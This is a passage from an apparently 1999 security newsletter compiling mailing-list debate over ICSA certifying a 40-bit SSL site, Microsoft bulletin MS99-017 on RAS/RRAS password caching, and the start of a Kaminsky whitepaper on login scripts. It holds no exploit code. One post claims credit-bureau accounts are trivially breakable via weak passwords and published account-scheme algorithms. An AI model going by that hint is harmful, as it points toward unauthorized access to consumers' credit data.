  9261.       From: Adam Shostack <adam@HOMEPORT.ORG>
  9262.       To: BUGTRAQ@netspace.org
  9263.       Subject: Re: ICSA - Certified Sites and Criteria Issues
  9264.       
  9265.       You can ISO9001 certify the process of shooting yourself in the foot,
  9266.       so long as the process is documented and reliably produces the proper
  9267.       result.
  9268.       
  9269.       Do you require certified sites post their security policy?  If not,
  9270.       how do I know that the policy doesn't explicitly accept the presense
  9271.       of phf in /cgi-bin?  Would it be possible to have that in my policy
  9272.       and still get certified, if I have good business reasons for putting
  9273.       it in place?
  9274.       
  9275.       This flap may be a result of certifying compliance to policy, but the
  9276.       relying parties on your mark should not be expected to be able to read
  9277.       and understand those policies; they should be able to rely on your
  9278.       mark to say that the policies make sense.  Incidentally, do you
  9279.       require sites to post these policies to which you certify compliance?
  9280.       
  9281.       I think that the high level message here (and from the
  9282.       TRUSTe/Microsoft crap) is that what organizations like ICSA and Truste
  9283.       are certifying is not what people who may be expected to rely on those
  9284.       marks expect is being certified.
  9285.       
  9286.       Adam
  9287.       
  9288.       
  9289.       
  9290.       On Thu, May 27, 1999 at 04:14:17PM -0400, Jon McCown wrote:
  9291.       | -----BEGIN PGP SIGNED MESSAGE-----
  9292.       |
  9293.       | While I am constrained by NDAs from discussing the specific issues of
  9294.       | any particular ICSA customer's security issues or policy, I will
  9295.       | respond "in general" to Lucky Green's posting regarding the use of
  9296.       | 40-bit cryptography as part of an ICSA certified configuration.
  9297.       |
  9298.       | Participants in our site certification program (TruSecure) are
  9299.       | required to meet in excess 200 criteria elements; covering such issues
  9300.       | as physical security, business continuity, personnel management,
  9301.       | network architecture, patches and updates, privacy, and sensitive
  9302.       | information handling.    Nearly all of the criteria elements are
  9303.       | driven by the customer's security and operational policy-- which is
  9304.       | derived from their business objectives and risk management approach.
  9305.       |
  9306.       | The 'specific' criteria elements which govern the use of cryptography
  9307.       | in the context of the customer site are (verbatim):
  9308.       |
  9309.       | HUF0007:    The handling procedures, security measures, and
  9310.       | classifications for sensitive information are documented in a
  9311.       | Sensitive Data Policy.   The procedures identified in the policy are
  9312.       | in place.
  9313.       | HUF0014:    The site's Internet Security Policy, as documented on form
  9314.       | TS012.01 - Security Posture and Policy, has been implemented
  9315.       | HUF0027:    If client data is gathered by the target, then the site
  9316.       | must publish online its site visitor privacy, and user data security
  9317.       | policies.
  9318.       | SVC0034:    Sensitive Information, as identified in HUF0007 is
  9319.       | encrypted and uses protocols which are acceptable to both the host and
  9320.       | user.
  9321.       | [in this context the "host" is the site operator and the "user" is
  9322.       | their client base]
  9323.       |
  9324.       | In this context  _is_ possible for a customer to mandate (via their
  9325.       | own policy) use of whatever levels of cryptography they view as being
  9326.       | appropriate to their business model and customer requirements.   For
  9327.       | example, if a customer policy specifies 128-bit TLS,
  9328.       | client-certificates, and token-based auth--  they will be validated at
  9329.       | that level.   And if validating the server's identity to the end-user,
  9330.       | or no-hassle compatibility with zillions of consumers' bargain-club-PC
  9331.       | 40-bit browsers is a goal-- a different policy might well result.
  9332.       |
  9333.       | Yes, we (ICSA Labs) do agree that 40-bit/8-second, and even 56-bit
  9334.       | encryption have become low-hanging-fruit on the confidentiality tree.
  9335.       |  The Gilmore/EFF demonstrations and recent IETF SAG discussions have
  9336.       | put that writing on the wall.   Do we need to add an "appropriate
  9337.       | crypto strength" element to the TruSecure criteria?  Yes I guess we
  9338.       | do.
  9339.       |
  9340.       | - - Jon McCown, ICSA Labs
  9341.       |
  9342.       |
  9343.       |
  9344.       | -----BEGIN PGP SIGNATURE-----
  9345.       | Version: PGP 5.5.5
  9346.       |
  9347.       | iQCVAwUBN02nmaN04bWY62GPAQEwwgP/aJLdrxCNRkRJAtp9mdbVb2+tZttwiLbI
  9348.       | 77gbVtbyrFG29iqp/qs0zIz4+ZS73+8fGqisaWgFyRiaM1FJhLXyjQbRVrUkAqJq
  9349.       | F/5cTmuTF9DOwsada+l8iq9ZO+VNk2AAo/TJnqaW3Y0/cNn2+XmA3edSgAEydO5D
  9350.       | Ox4VuVRLLCo=
  9351.       | =Mkwn
  9352.       | -----END PGP SIGNATURE-----
  9353.       
  9354.       --
  9355.       "It is seldom that liberty of any kind is lost all at once."
  9356.                                                              -Hume
  9357.       
  9358.       ----------------------------------------------------------------------------
  9359.       
  9360.       Date: Thu, 27 May 1999 15:44:47 -0700
  9361.       From: David Schwartz <davids@WEBMASTER.COM>
  9362.       To: BUGTRAQ@netspace.org
  9363.       Subject: Re: ICSA - Certified Sites and Criteria Issues
  9364.       
  9365.               So does ICSA certification mean simply that a company has met its own
  9366.       requirements? (As opposed to some set of objectively validated or
  9367.       ICSA-imposed requirements?)
  9368.       
  9369.               DS
  9370.       
  9371.       > Participants in our site certification program (TruSecure) are
  9372.       > required to meet in excess 200 criteria elements; covering such issues
  9373.       > as physical security, business continuity, personnel management,
  9374.       > network architecture, patches and updates, privacy, and sensitive
  9375.       > information handling.    Nearly all of the criteria elements are
  9376.       > driven by the customer's security and operational policy-- which is
  9377.       > derived from their business objectives and risk management approach.
  9378.       [snip]
  9379.       > In this context  _is_ possible for a customer to mandate (via their
  9380.       > own policy) use of whatever levels of cryptography they view as being
  9381.       > appropriate to their business model and customer requirements.   For
  9382.       > example, if a customer policy specifies 128-bit TLS,
  9383.       > client-certificates, and token-based auth--  they will be validated at
  9384.       > that level.   And if validating the server's identity to the end-user,
  9385.       > or no-hassle compatibility with zillions of consumers' bargain-club-PC
  9386.       > 40-bit browsers is a goal-- a different policy might well result.
  9387.       [snip]
  9388.       
  9389.       ----------------------------------------------------------------------------
  9390.       
  9391.       Date: Fri, 28 May 1999 11:09:08 +0100
  9392.       From: Simon Liddington <sjl96v@ECS.SOTON.AC.UK>
  9393.       To: BUGTRAQ@netspace.org
  9394.       Subject: Re: ICSA - Certified Sites and Criteria Issues
  9395.       
  9396.       Lucky Green <shamrock@NETCOM.COM> writes:
  9397.       
  9398.       > Sure, a server can be specifically configured to not allow access by 40 bit
  9399.       > browsers, but the overwhelming majority of 128 bit capable websites support
  9400.       > both 128 and 40 bit crypto and will automatically use the highest strength
  9401.       > supported by the browser. No incompatibility issues are introduced by
  9402.       > enabling full-strength crypto.
  9403.       
  9404.       In my experience with Netscape and apache-SSL the lowest strength
  9405.       cipher (apart from no cipher at all) is used. Unless you disable the
  9406.       weaker ciphers in Netscape, netscape tries them first and will connect
  9407.       if the server allows them.
  9408.       
  9409.       Of course this doesn't invalidate your statement that there is no
  9410.       problem with enabling full-strength crypto, but it does mean there is
  9411.       also little to gain by doing so.
  9412.       
  9413.       Simon
  9414.       
  9415.       --
  9416.       -----------------------------------------------------------------------
  9417.       | Simon Liddington                 |                                  |
  9418.       | E-Mail : sjl96v@ecs.soton.ac.uk  |  Tel (work) : +44 (0)1703 592422 |
  9419.       -----------------------------------------------------------------------
  9420.       
  9421.       ----------------------------------------------------------------------------
  9422.       
  9423.       Date: Fri, 28 May 1999 13:48:30 -0500
  9424.       From: Jeremey Barrett <jeremey@TERISA.COM>
  9425.       To: BUGTRAQ@netspace.org
  9426.       Subject: Re: ICSA - Certified Sites and Criteria Issues
  9427.       
  9428.       On Fri, May 28, 1999 at 11:09:08AM +0100, Simon Liddington wrote:
  9429.       > Lucky Green <shamrock@NETCOM.COM> writes:
  9430.       >
  9431.       > > Sure, a server can be specifically configured to not allow access by 40 bit
  9432.       > > browsers, but the overwhelming majority of 128 bit capable websites support
  9433.       > > both 128 and 40 bit crypto and will automatically use the highest strength
  9434.       > > supported by the browser. No incompatibility issues are introduced by
  9435.       > > enabling full-strength crypto.
  9436.       >
  9437.       > In my experience with Netscape and apache-SSL the lowest strength
  9438.       > cipher (apart from no cipher at all) is used. Unless you disable the
  9439.       > weaker ciphers in Netscape, netscape tries them first and will connect
  9440.       > if the server allows them.
  9441.       
  9442.       A client in SSL sends all its supported ciphers at once, it doesn't "try"
  9443.       some, then "try" others. The server chooses which cipher to use from amongst
  9444.       those the client supports. If you have 128-bit capable Netscape, and 128-bit
  9445.       capable Apache SSL, or a Netscape server, or Stronghold, or whatever, you get
  9446.       full strength crypto, unless there's a bug in the server.
  9447.       
  9448.       Obviously if one or the other doesn't support it, you don't.
  9449.       
  9450.       Regards,
  9451.       Jeremey.
  9452.       --
  9453.       Jeremey Barrett <jeremey@terisa.com>
  9454.       GPG fingerprint = 7BB2 E1F1 5559 3718 CE25 565A 8455 D60B 8FE8 B38F
  9455.       
  9456.       ----------------------------------------------------------------------------
  9457.       
  9458.       Date: Fri, 28 May 1999 16:39:03 -0400
  9459.       From: David Kennedy CISSP <dmkennedy@COMPUSERVE.COM>
  9460.       To: BUGTRAQ@netspace.org
  9461.       Subject: Re: ICSA - Certified Sites and Criteria Issues
  9462.       
  9463.       -----BEGIN PGP SIGNED MESSAGE-----
  9464.       
  9465.               I'm taking it upon myself to respond for Jon who's busy trying to
  9466.       have a life outside the office.  As he did, I'm going to try to steer
  9467.       clear of a specific discussion of any of our customers.
  9468.               We thank the open review process of the total crypto community for
  9469.       bringing this to our attention.   We will include this discussion in
  9470.       our ongoing process to maintain the TruSecure criteria.
  9471.               I'd like to restate what I feel is the most pertinent criterion that
  9472.       bears on this issue:  the criterion requires encryption and protocols
  9473.       acceptable to both the host and the client.  As a practical matter,
  9474.       for web activity this is either 40-bit SSL or 128-bit SSL.  The
  9475.       TruSecure customers have the flexibility to choose, and their
  9476.       customers, in turn, decide if this is "acceptable."
  9477.               Clearly, most of the readers of these lists regard 128-bit SSL as the
  9478.       minimum they would find acceptable.  However I think those same
  9479.       readers would acknowledge that the majority of users on the Internet
  9480.       worldwide today are using a 40-bit version of the popular browsers.  A
  9481.       business has every right to decide if 40-bit SSL is the level of
  9482.       security they feel is appropriate for the information they are
  9483.       processing.
  9484.               A TruSecure customer may make a business decision that 40-bit SSL is
  9485.       "acceptable" for the communication of data from their hosts to their
  9486.       clients.  Once this decision is made, they may configure their systems
  9487.       for 40-bit only.
  9488.               It should be clear from Jon's previous message that, in the abstract,
  9489.       128-bit SSL is preferable to 40-bit SSL.  However, 40-bit SSL for all
  9490.       it's faults, protects data in transit from the client to the host from
  9491.       all but a targeted attack by an experienced, well-resourced adversary.
  9492.        40-bit SSL provides superior security than the majority of meatspace
  9493.       exchanges of sensitive information.
  9494.       
  9495.       At 07:53 PM 5/27/99 -0400, David Schwartz wrote:
  9496.       >
  9497.       >       So does ICSA certification mean simply that a company has met its own
  9498.       >requirements? (As opposed to some set of objectively validated or
  9499.       >ICSA-imposed requirements?)
  9500.       
  9501.               Certification requires compliance with our criteria.  The best web
  9502.       page we have describing this is: http://www.trusecure.net/process.html
  9503.        If you want the nitty gritty details, browse to
  9504.       http://www.trusecure.net/
  9505.       and either go to the library or click the "contact us" link.
  9506.               ICSA helps customers address risks across multiple categories
  9507.       (physical, hacking, malicious code, spoofing, eavesdropping, lack of
  9508.       knowledge/awareness, lack of trust, DoS, privacy-user by site & data
  9509.       subject, lack of interoperability).  We developed a methodology to
  9510.       focus on high risk/cost categories and follow this methodology with
  9511.       our customers.  When addressing the issue of privacy, ICSA approaches
  9512.       the matter by addressing the risk of capturing customer information
  9513.       across the wire and as it resides on the customers server.  We do
  9514.       require the use of encryption but choose to let the customer to decide
  9515.       the level based on the assets they are protecting, the impact to their
  9516.       business, and the fact that the real concern is the data residing on
  9517.       the server un-encrypted.  ICSA therefore works with our customers to
  9518.       set up multiple layers of synergistic controls that not only address
  9519.       the use of encryption but also those mentioned above.
  9520.               We rely on addressing our customers' issues not only from a
  9521.       technology perspective, but from a business level one as well.  When
  9522.       deploying security, ICSA will always address how technology impacts
  9523.       our customers operations and costs.
  9524.       
  9525.       At 07:31 PM 5/27/99 -0400, Adam Shostack wrote:
  9526.       >Do you require certified sites post their security policy?  If not,
  9527.       >how do I know that the policy doesn't explicitly accept the presense
  9528.       >of phf in /cgi-bin?  Would it be possible to have that in my policy
  9529.       >and still get certified, if I have good business reasons for putting
  9530.       >it in place?
  9531.       >
  9532.       
  9533.               For the purposes of site certification we would not certify a site
  9534.       with phf in the cgi-bin directory.  Our criteria do restrict this.
  9535.       However, we have customers who have purchased TruSecure but have "good
  9536.       business reasons" for ignoring or violating one or more of our
  9537.       criteria.  ICSA has a process to review these occurrences and have
  9538.       withheld certification from some of these customers.  Indeed, we have
  9539.       customers who are quite satisfied with their TruSecure purchase
  9540.       without achieving certification.  Without turning into a
  9541.       sales/marketing droid, we try to emphasize TruSecure as a process to
  9542.       provide acceptable security to the customer; many customers are
  9543.       satisfied without completing certification and know this before their
  9544.       purchase.
  9545.       
  9546.       >This flap may be a result of certifying compliance to policy, but the
  9547.       >relying parties on your mark should not be expected to be able to read
  9548.       >and understand those policies; they should be able to rely on your
  9549.       >mark to say that the policies make sense.  Incidentally, do you
  9550.       >require sites to post these policies to which you certify compliance?
  9551.       >
  9552.       
  9553.               Certified sites must post a privacy and user data security policy as
  9554.       part of our criteria.  We do not require the site to post their
  9555.       security policy.  Most enterprises would be reluctant to post an
  9556.       un-santitized version of their security policies which opens the
  9557.       question of how much sanitization is necessary or desirable.  I don't
  9558.       believe it would be wise to require they post the nitty gritty details
  9559.       of their policies.  One would not want details such as these widely
  9560.       known:
  9561.       
  9562.               Inbound telnet is blocked except from IP xxx.xxx.xxx.xxx to
  9563.       yyy.yyy.yyy.yyy which is permitted so Y Inc can review progress
  9564.       reports on Project Z.
  9565.               Employees assigned to our office in Sri Lanka will use PPTP to host
  9566.       at zzz.zzz.zzz.zzz to access the company intranet.
  9567.       
  9568.       At 07:36 PM 5/27/99 -0400, Russ wrote:
  9569.       >However, the bottom line is that;
  9570.       >
  9571.       >- They are *NOT* employing "sophisticated encryption", they're employing
  9572.       >the least sophisticated deployable.
  9573.       >
  9574.       
  9575.               I can't respond to this directly.
  9576.       
  9577.       >- They also say ICSA "examined every aspect of our security
  9578.       >precautions", but in fact, you only examined those aspects defined in
  9579.       >their policies.
  9580.       
  9581.               For any customer, we examine every aspect defined by *our* criteria,
  9582.       which includes examining their security policies and implementations,
  9583.       but these two aspects are but a handful of the 200+ criteria we
  9584.       include in TruSecure.
  9585.       
  9586.       >
  9587.       >- They also claim that because of your certification, their customers
  9588.       >"know ConsumerInfo.Com's security measures are state-of-the-art" when in
  9589.       >fact their *NOT*.
  9590.       
  9591.       This issue is with the semantics on a page not maintained by ICSA.
  9592.       
  9593.       >
  9594.       >I will not, at this time, question the integrity of ICSA. Nor will I
  9595.       >suggest that ConsumerInfo.Com is out and out lying.
  9596.       >
  9597.       >I will, however, suggest that ICSA is tacitly allowing ConsumerInfo.Com
  9598.       >to mislead their customers via the ICSA Web Certification approval.  By
  9599.       >ICSA not being permitted, by NDA, to discuss certification they have
  9600.       >performed, it renders, IMNSHO, the certification itself *worthless*.  It
  9601.       >would appear that ConsumerInfo.Com has been allowed to say anything they
  9602.       >want about their work with ICSA and, by NDA, ICSA cannot rebuke it.
  9603.       >
  9604.       
  9605.               The way this paragraph is constructed makes it impossible to respond
  9606.       to it.  We would like to respond, and explain how certification is not
  9607.       as you say, "worthless," but to do so would be to reveal confidential
  9608.       information about a customer.
  9609.       
  9610.       At 07:36 PM 5/27/99 -0400, Lucky Green wrote:
  9611.       >
  9612.       >Now I am really getting worried. From your post it is clear that you, a
  9613.       >representative of ICSA, are unaware that by enabling 128 bit TLS/SSL on a
  9614.       >server you by no means prevent users limited to 40 bit crypto from accessing
  9615.       >it.
  9616.       >
  9617.       
  9618.               Incorrect, we understand this fact.
  9619.               Again, the criteria require encryption and protocols acceptable to
  9620.       both the host and the client.  Popular browsers provide the capability
  9621.       for users to click on an icon and determine the encryption being used,
  9622.       if any.  Undoubtedly that's how this thread started.
  9623.       
  9624.       
  9625.       -----BEGIN PGP SIGNATURE-----
  9626.       Version: PGP Personal Privacy 6.0.2
  9627.       
  9628.       iQCVAwUBN07+V/GfiIQsciJtAQECrgQA3IsyfP6AEWV4OarIG5xs46sIWP/IdSYQ
  9629.       sWvEYaENjbFdyu8tOH2hq5y1bm9/ALM8nITz94zYs/kZupJ2XZR5GYFhOpyfbG2v
  9630.       4qzL1pml8Ht2aKsJ+r6Ghf9cp2qOfCejigSWcHTfRLNhgoI2u1CL6G6ua3OkDBS8
  9631.       5KVOeNhwDK0=
  9632.       =GqTy
  9633.       -----END PGP SIGNATURE-----
  9634.       
  9635.       Regards,
  9636.       David Kennedy CISSP
  9637.       Director of Research Services, ICSA Inc. http://www.icsa.net
  9638.       
  9639.       Using encryption on the Internet is the equivalent of arranging
  9640.       an armored car to deliver credit-card information from someone
  9641.       living in a cardboard box to someone living on a park bench.
  9642.                             Gene Spafford
  9643.       
  9644.       ----------------------------------------------------------------------------
  9645.       
  9646.       Date: Fri, 28 May 1999 20:08:35 -0600 (MDT)
  9647.       From: cult hero <jericho@dimensional.com>
  9648.       To: InfoSec News <isn@repsec.com>
  9649.       Subject: Re: [ISN] ICSA certifies weak crypto as secure 
  9650.       
  9651.       
  9652.       Reply From: edison <edison@dhp.com>
  9653.       
  9654.       A few thoughts on the subject. 
  9655.       
  9656.       First, with the frightening amount of completely unsecured consumer info
  9657.       sites on (and off) the net today, I would disagree that ICSA's actions
  9658.       reflect "very badly" on our industry.  Because there are much easier
  9659.       targets, consumerinfo.com can be resonably certain that it won't even be
  9660.       attacked for quite some time.  At least until most of the rest of the
  9661.       sites are secure in the same fashion. 
  9662.       
  9663.       Don't get me wrong, I'm not advocating 40-bit encryption as 'secure,' but
  9664.       it is 'more secure' than nothing at all.  And until the ingorant IT
  9665.       managers with sites on the net clue in, this kind of certification won't
  9666.       _hurt_ our industry.  Please don't attack me - I'm just saying that while
  9667.       we professionals might recognize weaknesses in this level of security,
  9668.       those outside don't and "we" still look good to them. 
  9669.       
  9670.       Second, if you've every been to a hacker BBS/site, you have to know that
  9671.       getting into Equifax or any other reporting agency is pitifully easy.  If
  9672.       you think 40-bit encryption is weak, how about a 2 character alphanumeric
  9673.       "password" on accounts that can be pulled from your own credit report? 
  9674.       And for that matter, there are posted algorithms to the account scheme, so
  9675.       you can even generate your own. 
  9676.       
  9677.       I will agree that there are more unsavory characters on the net than there
  9678.       are people aware of CBI dialups.  But then again, 40-bit crypto is not
  9679.       exactly _easy_ to crack. 
  9680.       
  9681.       -edison
  9682.       
  9683.       On Fri, 28 May 1999, cult hero wrote: 
  9684.       
  9685.       > I am becoming concerned about the apparent lack of professional competence
  9686.       > within even well-known segments of the security community. I hope the
  9687.       > incident I discovered is an isolated one, but even a single such incident
  9688.       > is disquieting.
  9689.       
  9690.       -o-
  9691.       Subscribe: mail majordomo@repsec.com with "subscribe isn".
  9692.       Today's ISN Sponsor: OSAll [www.aviary-mag.com]
  9693.       
  9694.       @HWA
  9695.       
  9696.  48.0 RAS and RRAS vulnerability
  9697.       ~~~~~~~~~~~~~~~~~~~~~~~~~~
  9698.       
  9699.       Date: Thu, 27 May 1999 17:18:25 -0400
  9700.       From: Russ <Russ.Cooper@RC.ON.CA>
  9701.       To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
  9702.       Subject: Alert: Microsoft Security Bulletin (MS99-017) - RAS & RRAS Passwords
  9703.       
  9704.       On March 20th, Dieter Goepferich [dieter.goepferich@bigfoot.com]
  9705.       discovered a vulnerability involving both RAS and RRAS. This was
  9706.       subsequently reported in Heise Online, a German publication;
  9707.       
  9708.       http://www.heise.de/newsticker/data/cp-12.04.99-000/
  9709.       http://www.heise.de/newsticker/data/hos-15.04.99-000/
  9710.       
  9711.       Dieter originally reported it via some "product improvement suggestion"
  9712.       web form on www.microsoft.de back in March. Together we informed
  9713.       Microsoft Security (secure@microsoft.com) back in April.
  9714.       
  9715.       By default the registry key is only accessible to Administrator and the
  9716.       user/owner of the passwords, but it represents a potential threat and a
  9717.       location of password information which would not otherwise be expected.
  9718.       
  9719.       See;
  9720.       
  9721.       http://www.microsoft.com/security/bulletins/ms99-017.asp
  9722.       
  9723.       for the complete write up including fix locations. There are two KB
  9724.       articles about this (one for RAS, and another for RRAS). They were not
  9725.       yet available at the time of writing.
  9726.       
  9727.       RAS
  9728.       http://support.microsoft.com/support/kb/articles/q230/6/81.asp
  9729.       
  9730.       RRAS
  9731.       http://support.microsoft.com/support/kb/articles/q233/3/03.asp
  9732.       
  9733.       Cheers,
  9734.       Russ - NTBugtraq Editor
  9735.       
  9736.       -------------------------------------------------------------------------------
  9737.       
  9738.       Date: Thu, 27 May 1999 15:14:46 -0700
  9739.       From: aleph1@UNDERGROUND.ORG
  9740.       To: BUGTRAQ@netspace.org
  9741.       Subject: Microsoft Security Bulletin (MS99-017)
  9742.       
  9743.       The following is a Security  Bulletin from the Microsoft Product Security
  9744.       Notification Service.
  9745.       
  9746.       Please do not  reply to this message,  as it was sent  from an unattended
  9747.       mailbox.
  9748.                           ********************************
  9749.       
  9750.       Microsoft Security Bulletin (MS99-017)
  9751.       --------------------------------------
  9752.       
  9753.       Patch Available for "RAS and RRAS Password" Vulnerability
  9754.       
  9755.       Originally Posted: May 27, 1999
  9756.       
  9757.       Summary
  9758.       =======
  9759.       Microsoft has released a patch that eliminates a vulnerability in the
  9760.       Microsoft (r) Windows NT  (r) Remote Access Service (RAS) and Routing and
  9761.       Remote Access Service (RRAS) clients, in which a  user's password is cached
  9762.       even if the user de-selects the "Save password" option.
  9763.       
  9764.       Issue
  9765.       =====
  9766.       When the client software for Microsoft RAS or RRAS is used to dial into a
  9767.       server, a dialogue  requests the user's userid and password for the server.
  9768.       On the same dialogue is a checkbox whose  caption reads "Save password" and
  9769.       which is intended to provide the user with the option to cache  their
  9770.       security credentials if desired. However, the implemented client
  9771.       functionality actually  caches the user's credentials regardless of whether
  9772.       the checkbox is selected or de-selected.
  9773.       
  9774.       Cached security credentials, which include the password, are stored in the
  9775.       registry and protected  by ACLs whose default values authorize only local
  9776.       administrators and the user to access them.  Windows NT 4.0 Service Pack 4
  9777.       also provides the ability to strongly encrypts the password data  stored in
  9778.       the registry using the SYSKEY feature.
  9779.       
  9780.       While there are no reports of customers being adversely affected by this
  9781.       vulnerability, Microsoft  is proactively releasing a patch that restores
  9782.       correct functionality to the password caching  function. The patch should be
  9783.       applied to all machines that are used as RAS or RRAS clients. It is
  9784.       important to note that RRAS servers also can be used as RRAS clients, and
  9785.       any machines used in  such a capacity should have the patch applied as well.
  9786.       
  9787.       
  9788.       Affected Software Versions
  9789.       ==========================
  9790.        - Microsoft Windows NT Workstation 4.0
  9791.        - Microsoft Windows NT Server 4.0
  9792.        - Microsoft Windows NT Server 4.0, Enterprise Edition
  9793.       
  9794.       What Microsoft is Doing
  9795.       =======================
  9796.       Microsoft has released patches that fix the problem identified. The patches
  9797.       are available for  download from the sites listed below in What Customers
  9798.       Should Do.
  9799.       
  9800.       Microsoft also has sent this security bulletin to customers
  9801.       subscribing to the Microsoft Product Security Notification Service.
  9802.       See http://www.microsoft.com/security/services/bulletin.asp for
  9803.       more information about this free customer service.
  9804.       
  9805.       Microsoft has published the following Knowledge Base (KB) article on this
  9806.       issue:
  9807.        - Microsoft Knowledge Base (KB) article Q230681,
  9808.          RAS Credentials Saved when "Save Password" Option Unchecked,
  9809.          http://support.microsoft.com/support/kb/articles/q230/6/81.asp
  9810.        - Microsoft Knowledge Base (KB) article Q233303,
  9811.          RRAS Credentials Saved when "Save Password" Option Unchecked,
  9812.          http://support.microsoft.com/support/kb/articles/q233/3/03.asp
  9813.       
  9814.       (Note: It might take 24 hours from the original posting of this bulletin for
  9815.       the KB article to be  visible in the Web-based Knowledge Base.)
  9816.       
  9817.       What Customers Should Do
  9818.       ========================
  9819.       Microsoft highly recommends that customers evaluate the degree of risk that
  9820.       this vulnerability  poses to their systems and determine whether to download
  9821.       and install the patch. The patch can be  found at:
  9822.        - RAS:
  9823.          ftp://ftp.microsoft.com/bussys/winnt/winnt-public
  9824.          /fixes/usa/nt40/Hotfixes-PostSP5/RASPassword-fix/
  9825.        - RRAS:
  9826.          ftp://ftp.microsoft.com/bussys/winnt/winnt-public
  9827.          /fixes/usa/nt40/Hotfixes-PostSP5/RRASPassword-fix/
  9828.       
  9829.       (Note: The URLs above have been wrapped for readability)
  9830.       
  9831.       More Information
  9832.       ================
  9833.       Please see the following references for more information related to this
  9834.       issue.
  9835.        - Microsoft Security Bulletin MS99-017,
  9836.          Patch Available for "RAS and RRAS Password Caching"
  9837.          Vulnerability, (The Web-posted version of this bulletin),
  9838.          http://www.microsoft.com/security/bulletins/ms99-017.asp.
  9839.        - Microsoft Knowledge Base (KB) article Q230681,
  9840.          RAS Credentials Saved when "Save Password" Option Unchecked,
  9841.          http://support.microsoft.com/support/kb/articles/q230/6/81.asp.
  9842.        - Microsoft Knowledge Base (KB) article Q233303,
  9843.          RRAS Credentials Saved when "Save Password" Option Unchecked,
  9844.          http://support.microsoft.com/support/kb/articles/q233/3/03.asp
  9845.       
  9846.       Obtaining Support on this Issue
  9847.       ===============================
  9848.       If you require technical assistance with this issue, please
  9849.       contact Microsoft Technical Support. For information on
  9850.       contacting Microsoft Technical Support, please see
  9851.       http://support.microsoft.com/support/contact/default.asp.
  9852.       
  9853.       Revisions
  9854.       =========
  9855.        - May 27, 1999: Bulletin Created.
  9856.       
  9857.       
  9858.       For additional security-related information about Microsoft products, please
  9859.       visit  http://www.microsoft.com/security
  9860.       
  9861.       
  9862.       ----------------------------------------------------------------------
  9863.       
  9864.       THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS PROVIDED "AS IS"
  9865.       WITHOUT WARRANTY OF  ANY KIND. MICROSOFT DISCLAIMS ALL WARRANTIES, EITHER
  9866.       EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES  OF MERCHANTABILITY AND FITNESS
  9867.       FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL MICROSOFT CORPORATION  OR ITS
  9868.       SUPPLIERS BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT,
  9869.       INCIDENTAL,  CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES,
  9870.       EVEN IF MICROSOFT CORPORATION OR ITS  SUPPLIERS HAVE BEEN ADVISED OF THE
  9871.       POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE  EXCLUSION OR
  9872.       LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES SO THE
  9873.       FOREGOING  LIMITATION MAY NOT APPLY.
  9874.       
  9875.       (c) 1999 Microsoft Corporation. All rights reserved. Terms of Use.
  9876.       
  9877.          *******************************************************************
  9878.       You have received  this e-mail bulletin as a result  of your registration
  9879.       to  the   Microsoft  Product  Security  Notification   Service.  You  may
  9880.       unsubscribe from this e-mail notification  service at any time by sending
  9881.       an  e-mail  to  MICROSOFT_SECURITY-SIGNOFF-REQUEST@ANNOUNCE.MICROSOFT.COM
  9882.       The subject line and message body are not used in processing the request,
  9883.       and can be anything you like.
  9884.       
  9885.       For  more  information on  the  Microsoft  Security Notification  Service
  9886.       please    visit    http://www.microsoft.com/security/bulletin.htm.    For
  9887.       security-related information  about Microsoft products, please  visit the
  9888.       Microsoft Security Advisor web site at http://www.microsoft.com/security.
  9889.       
  9890.       -------------------------------------------------------------------------------
  9891.       
  9892.       Date: Fri, 28 May 1999 07:59:35 -0400
  9893.       From: Russ <Russ.Cooper@RC.ON.CA>
  9894.       To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
  9895.       Subject: Re: Alert: Microsoft Security Bulletin (MS99-017) - RAS & RRAS Passwords
  9896.       
  9897.       Wow, talk about goofing up.
  9898.       
  9899.       Eric Schultze correctly pointed out that he, together with Lisa
  9900.       O'Connor, Martin Dolphin, and Joe Greene reported this problem with RAS
  9901.       originally way back on March 19th, 1998 <-- (note, 1998, not 1999). See
  9902.       the original message at;
  9903.       
  9904.       http://ntbugtraq.ntadvice.com/default.asp?pid=36&sid=1&A2=ind9803&L=ntbu
  9905.       gtraq&F=P&S=&P=4209
  9906.       
  9907.       (URL is wrapped).
  9908.       
  9909.       I, most inappropriately, credited another with the discovery in March of
  9910.       this year.
  9911.       
  9912.       Its funny, when David LeBlanc first prompted me about this "discovery"
  9913.       this year, I could have sworn I'd seen it before but I failed to check
  9914.       my own archives...tsk tsk...;-]
  9915.       
  9916.       So, to Lisa, Martin, Joe, and Eric, please accept my humble apologies!
  9917.       
  9918.       To Microsoft, why the hell did it take a publication in a German
  9919.       magazine to provoke you to fix something that had been reported here a
  9920.       full year before?? Could it have been the fact that the 3/99 publication
  9921.       included an exploit tool? Maybe we need to have an exploit coding group
  9922.       at NTBugtraq that produces a tool for everything reported and
  9923.       distributes said tool to all and sunder?
  9924.       
  9925.       Cheers,
  9926.       Russ - NTBugtraq Editor
  9927.       
  9928.       @HWA           
  9929.       
  9930.  49.0 Whitepaper:The Unforseen Consequences of Login Scripts By Dan Kaminsky
  9931.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  9932.         
  9933.       Seen via PacketStorm, scarfed from : http://doxpara.netpedia.net/login.html
  9934.  
  9935.                      Insecurity By Design:
  9936.                  The Unforseen Consequences of
  9937.                           Login Scripts
  9938.  
  9939.                         By Dan Kaminsky
  9940.                                      
  9941.                                                                
  9942.        A common aspect of most client-server network designs is the login script.  A
  9943.        set of commands executed upon provision of correct username and password,
  9944.        the login script provides the means for corporate system administrators to
  9945.        centrally manage their flock of clients.  Unfortunately what┤s seemingly good for
  9946.        the business turns out to be a disastrous security hole in the University
  9947.        environment, where students logging into the network from their dorm rooms
  9948.        now find the network logging into them.  This hole provides a single, uniform
  9949.        point of access to any number of previously uncompromised clients, and is a
  9950.        severe liability that must be dealt with with the highest urgency.  Even those in the
